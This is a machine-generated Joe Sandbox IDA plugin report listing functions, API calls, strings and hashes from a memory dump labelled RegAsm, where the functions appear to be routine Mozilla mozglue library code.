Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 1d05c1301a74022d786106f4fdb5341d468e3890bd499fbc4e10a8dbcf4ff145
Instruction ID: b6f0913609a2e8aa9f2dee1bb4eedc286c6e6ca100e8b6f3d9f1c77a6b49b6ce
Opcode Fuzzy Hash: 1d05c1301a74022d786106f4fdb5341d468e3890bd499fbc4e10a8dbcf4ff145
Instruction Fuzzy Hash: 57517775A00641CFDB01CF18C084B55BBF1BF49318F18C18AD9995BB52C339E885CF92

Function 6C2DBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C2DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C2DBE8F

Strings

0, xrefs: 6C2DBE5B

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3c082fbbe5303ec41c74c9e4d071a00abffc77022cbb09fd3ace0ee268a505d3
Instruction ID: 01266a0d06d1be472aae349702a19e32a4f5387d63e985366ebc3bb8c82bc3fb
Opcode Fuzzy Hash: 3c082fbbe5303ec41c74c9e4d071a00abffc77022cbb09fd3ace0ee268a505d3
Instruction Fuzzy Hash: 5541A07590974ACFC701CF38C491A9BB7F4AF9A348F418A1DFD85A7611D730E9498B82

Function 6C2D9A20 Relevance: 5.3, APIs: 4, Instructions: 338COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C2D9B2C
memcpy.VCRUNTIME140(6C2D99CF,00000000,?), ref: 6C2D9BB6
memcpy.VCRUNTIME140(?,?,?), ref: 6C2D9BF8
memcpy.VCRUNTIME140(?,?,?), ref: 6C2D9DE4

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 7e937054cc98461d40cb30a132f584b0f29d8453083fa1512b6921595903b239
Instruction ID: a6d2dc04b2528ed34aae9a09e52a3924c472f42df10b97cf11c34e74fc82e4f1
Opcode Fuzzy Hash: 7e937054cc98461d40cb30a132f584b0f29d8453083fa1512b6921595903b239
Instruction Fuzzy Hash: C5D18A71A0020A9FCB14DF69C890AAEBBF2FF98314F1A8529E945A7740D731FD15CB90

Function 6C320A70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6C2E37F0: ?ensureCapacitySlow@ProfilingStack@baseprofiler@mozilla@@AAEXXZ.MOZGLUE(?,?,?,?,6C33145F,baseprofiler::AddMarkerToBuffer,00000000,?,00000039,00000000), ref: 6C2E380A

Part of subcall function 6C318DC0: moz_xmalloc.MOZGLUE(00000038,?,?,00000000,?,6C3306E6,?,?,00000008,?,?,?,?,?,?,?), ref: 6C318DCC

Part of subcall function 6C320B60: moz_xmalloc.MOZGLUE(00000080,?,?,?,?,6C32138F,?,?,?), ref: 6C320B80

?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,00000001,?,?,6C32138F,?,?,?), ref: 6C320B27
free.MOZGLUE(?,?,?,?,?,6C32138F,?,?,?), ref: 6C320B3F

Strings

baseprofiler::profiler_capture_backtrace, xrefs: 6C320AB5

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$?ensure?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CapacityCaptureChunkedOptions@2@@ProfileProfilingSlow@StackStack@baseprofiler@mozilla@@free
String ID: baseprofiler::profiler_capture_backtrace
API String ID: 3592261714-147032715
Opcode ID: 15042f7bbdf6779c41cec3142cff37afd7d836a090c16c42071f2aaaab6b7c1f
Instruction ID: 066283343b6be065ba40229dad269f9c148285af2e950e4920ef66b60b74b514
Opcode Fuzzy Hash: 15042f7bbdf6779c41cec3142cff37afd7d836a090c16c42071f2aaaab6b7c1f
Instruction Fuzzy Hash: DD21D1B5B002489BDF04DF54C8A0BBEB3B9AF85708F50042DD8559BB41DB79A908CFA2

Function 6C2DF180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6C2DF19B

Part of subcall function 6C2FD850: EnterCriticalSection.KERNEL32(?), ref: 6C2FD904
Part of subcall function 6C2FD850: LeaveCriticalSection.KERNEL32(?), ref: 6C2FD971
Part of subcall function 6C2FD850: memset.VCRUNTIME140(?,00000000,?), ref: 6C2FD97B

mozalloc_abort.MOZGLUE(?), ref: 6C2DF209

Strings

d, xrefs: 6C2DF1F5

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: d
API String ID: 3775194440-2564639436
Opcode ID: 136057c1ff3843bbba43c3197b9f1d3586c2becad55375c4c0e9fe47fa423c3f
Instruction ID: ce42a1b49d766179daec7e1890cdf5c3a5eec770335e05a129af71287cc0fbaa
Opcode Fuzzy Hash: 136057c1ff3843bbba43c3197b9f1d3586c2becad55375c4c0e9fe47fa423c3f
Instruction Fuzzy Hash: 5A113632A0564E87EB048F5CC9511EEB379DF9621CB52922DEC45ABB11EB30EA84C384

Function 6C2ECA10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?), ref: 6C2ECA26

Part of subcall function 6C2ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C2ECB49
Part of subcall function 6C2ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C2ECBB6

mozalloc_abort.MOZGLUE(?), ref: 6C2ECAA2

Strings

d, xrefs: 6C2ECA6C

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavemallocmozalloc_abort
String ID: d
API String ID: 3517139297-2564639436
Opcode ID: db514feea4574c18334c5f6e551b3f60346c062cdf92df25c11d07a5fe143b05
Instruction ID: 06eade8d0b9111b26870bf75dcc289849377dd1ba96fd2d1e07f8d26faa3572d
Opcode Fuzzy Hash: db514feea4574c18334c5f6e551b3f60346c062cdf92df25c11d07a5fe143b05
Instruction Fuzzy Hash: E211E532E0079C97DB01EFACC8104FDB778EF9A618B859229EC45A7712EB30A5C4C380

Function 6C313CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C313D19
mozalloc_abort.MOZGLUE(?), ref: 6C313D6C

Strings

d, xrefs: 6C313D58

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 9a14c1bb779a3d692b78fcec7ca5032b75fad133d09a1f971645568bda79e248
Instruction ID: b792a44a7d2d87e3e9ac290b3560e51b1b6f6a782f9e96e88c4e56fae787c262
Opcode Fuzzy Hash: 9a14c1bb779a3d692b78fcec7ca5032b75fad133d09a1f971645568bda79e248
Instruction Fuzzy Hash: 06112771E18788DFDB089F69C8144EDB779EF8631CB848318EC849BA02EB31A584CB50

Function 6C2F1A50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

realloc.MOZGLUE(?,?), ref: 6C2F1A6B

Part of subcall function 6C2F1AF0: EnterCriticalSection.KERNEL32(?), ref: 6C2F1C36

mozalloc_abort.MOZGLUE(?), ref: 6C2F1AE7

Strings

d, xrefs: 6C2F1AB1

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionmozalloc_abortrealloc
String ID: d
API String ID: 2670432147-2564639436
Opcode ID: 7a2741f953c446597f74288bb62d39e8b52e0dce4c7167dfdf2f2ddb0aad5fa0
Instruction ID: 7ada4f899e63d5dccf956094afe1f657b54fccf62eb69bc155029c45587dfe8b
Opcode Fuzzy Hash: 7a2741f953c446597f74288bb62d39e8b52e0dce4c7167dfdf2f2ddb0aad5fa0
Instruction Fuzzy Hash: 4E110272E0074C97DB049BA8C8144FEF779EF85218F848619ED95AB712EB30E5C5C380

Function 6C2E4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C2E44B2,6C35E21C,6C35F7F8), ref: 6C2E473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C2E474A

Strings

GetNtLoaderAPI, xrefs: 6C2E4744

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 605fa6ce40816d6a5eaee4455db93150e79883a46c862722074038bb53833e3b
Instruction ID: 22b86b6fe1a83949e0e4c9b908031d9b7453abed821bdf2834cddcbeb487d367
Opcode Fuzzy Hash: 605fa6ce40816d6a5eaee4455db93150e79883a46c862722074038bb53833e3b
Instruction Fuzzy Hash: C1019E753043188FDF00AFA69884A697BBDEB8F311B490069EE06DB700CB74D8018FD1

Function 6C336DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C336E22
__Init_thread_footer.LIBCMT ref: 6C336E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C336E1D

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 48c5e4f47ad78ecc44edd6385b2bf2140991698e3bce639abc3945d95e12bba9
Instruction ID: 78d8c86a1b2632ed943f12bf37f482d324426f3afba2984a938bde27a934e3cc
Opcode Fuzzy Hash: 48c5e4f47ad78ecc44edd6385b2bf2140991698e3bce639abc3945d95e12bba9
Instruction Fuzzy Hash: 02F09E317042C0CFDB008B68DA50E997379770B21CF841165C84847BD1C739F51ACEA3

Function 6C2E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C2E9EEF

Strings

NaN, xrefs: 6C2E9EC1
Infinity, xrefs: 6C2E9EB7

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 309b864b54c3abef265859c4d377e291d19ff04758ffd4fea74b77adb02deb4f
Instruction ID: 2beefb31156537accb6c4c995e16e694af7f6987fe77a335ab0fe5a21fcafe61
Opcode Fuzzy Hash: 309b864b54c3abef265859c4d377e291d19ff04758ffd4fea74b77adb02deb4f
Instruction Fuzzy Hash: 74F0C2B1B00285CBDB00AF18E845FA433F9B70F309FE40A56CA440BB84D7756566CE82

Function 6C2E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K1l,?,6C314B30,80000000,?,6C314AB7,?,6C2D43CF,?,6C2D42D2), ref: 6C2E6C42

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

moz_xmalloc.MOZGLUE(0K1l,?,6C314B30,80000000,?,6C314AB7,?,6C2D43CF,?,6C2D42D2), ref: 6C2E6C58

Strings

0K1l, xrefs: 6C2E6C33, 6C2E6C41, 6C2E6C57

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K1l
API String ID: 1967447596-804876125
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: cebbc702d1538be28459d123c53f1c6c27aefc453c4b9d1c720964e12383790b
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 76E026F1A2030D0A9B089CB89C8D92E75CC8B1C6A87845A35ED32E2FC8FA24E4408061

Function 6C335900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6C3551C8), ref: 6C33591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6C33592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6C335915

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: 694ea517a97e148dacabb1786212d5434c83dd6080528889c88c3845c35edd84
Instruction ID: f9e7eff75f1f11a1039638262d43e1bb02168a2b625c17fa6917906405ed7021
Opcode Fuzzy Hash: 694ea517a97e148dacabb1786212d5434c83dd6080528889c88c3845c35edd84
Instruction Fuzzy Hash: 74E04F30205294FBDB015B68D908B457FFC9B2736EF948544E56D97AD1C3BAA8408FD1

Function 6C2E3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C35F860), ref: 6C2E385C
ReleaseSRWLockExclusive.KERNEL32(6C35F860,?), ref: 6C2E3871

Strings

,5l, xrefs: 6C2E387A

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,5l
API String ID: 17069307-92989610
Opcode ID: 5a91ada4a27f79bcd285f7031ee483a6c392ba99a9358e9d5e72ec8c79dfaf5c
Instruction ID: 3ee67f2f84cd92c308b837a7a15e8c40090fe5ed01b3d85297befda21d624216
Opcode Fuzzy Hash: 5a91ada4a27f79bcd285f7031ee483a6c392ba99a9358e9d5e72ec8c79dfaf5c
Instruction Fuzzy Hash: DDE0DF35A01B1C978B02EF96940198A3BBCFE0F6963C44005F90A2BA10C734D0808AC5

Function 6C2EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C2EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C2EBEF5

Strings

cryptbase.dll, xrefs: 6C2EBEF0

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 25c6f4766e178adc97698dda9ce59dd811911b16bf0dba42914c1df65e47e3cf
Instruction ID: 02c3e3bcfea46a5995060d3eb651b285968b7443b2a6639ce7209c8e780b1721
Opcode Fuzzy Hash: 25c6f4766e178adc97698dda9ce59dd811911b16bf0dba42914c1df65e47e3cf
Instruction Fuzzy Hash: 44D0C73139520CE6D6446A609D05F257778A706719FD4C021F75558951C7B19460CF54

Function 6C2D50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C2D4E9C,?,?,?,?,?), ref: 6C2D510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C2D4E9C,?,?,?,?,?), ref: 6C2D5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C2D5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C2D4E9C), ref: 6C2D5234

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 49b50a424325adcc0425b929e574f44d1b41fe7eb5777407126cd34a732994cf
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 2D91BCB550160ACFCB14CF0CC490A56BBA2FF99318B298698EC499B715C3B1FC46CBE0

Function 6C3108F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C35E7DC), ref: 6C310918
LeaveCriticalSection.KERNEL32(6C35E7DC), ref: 6C3109A6
EnterCriticalSection.KERNEL32(6C35E7DC,?,00000000), ref: 6C3109F3
LeaveCriticalSection.KERNEL32(6C35E7DC), ref: 6C310ACB

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 82ebbf1d0ec90a618e232d463cedb8f0bab4345901241a98d1cb05779106bf43
Instruction ID: 1cc5eca0603bb1ccd57188e44ea8f13d6aa626cbbbf5469cc28cd102bb585cb8
Opcode Fuzzy Hash: 82ebbf1d0ec90a618e232d463cedb8f0bab4345901241a98d1cb05779106bf43
Instruction Fuzzy Hash: 50517936B09654CFEB0C9E54C410B2933F9EB86B28765413ADD6597F80DB32EC208ED1

Function 6C3359C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6C30E56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6C335A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6C30E56A,?,|UrlbarCSSSpan), ref: 6C335A5C
free.MOZGLUE(?), ref: 6C335A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6C335B9D

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: 71aacc075132ef5e7ffe53944eace34d0bebd43beb192ebebcf84643a114bccd
Instruction ID: f73de0a36f578089b189d684e99f2f9191a9f703eeddf07082e5239ba2cb940b
Opcode Fuzzy Hash: 71aacc075132ef5e7ffe53944eace34d0bebd43beb192ebebcf84643a114bccd
Instruction Fuzzy Hash: 05516B706087949FD701CF29C8C0A1ABBE9EF8A318F04C96DE88D9B646D775D944CF62

Function 6C32B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C32B2C9,?,?,?,6C32B127,?,?,?,?,?,?,?,?,?,6C32AE52), ref: 6C32B628

Part of subcall function 6C3290E0: free.MOZGLUE(?,00000000,?,?,6C32DEDB), ref: 6C3290FF
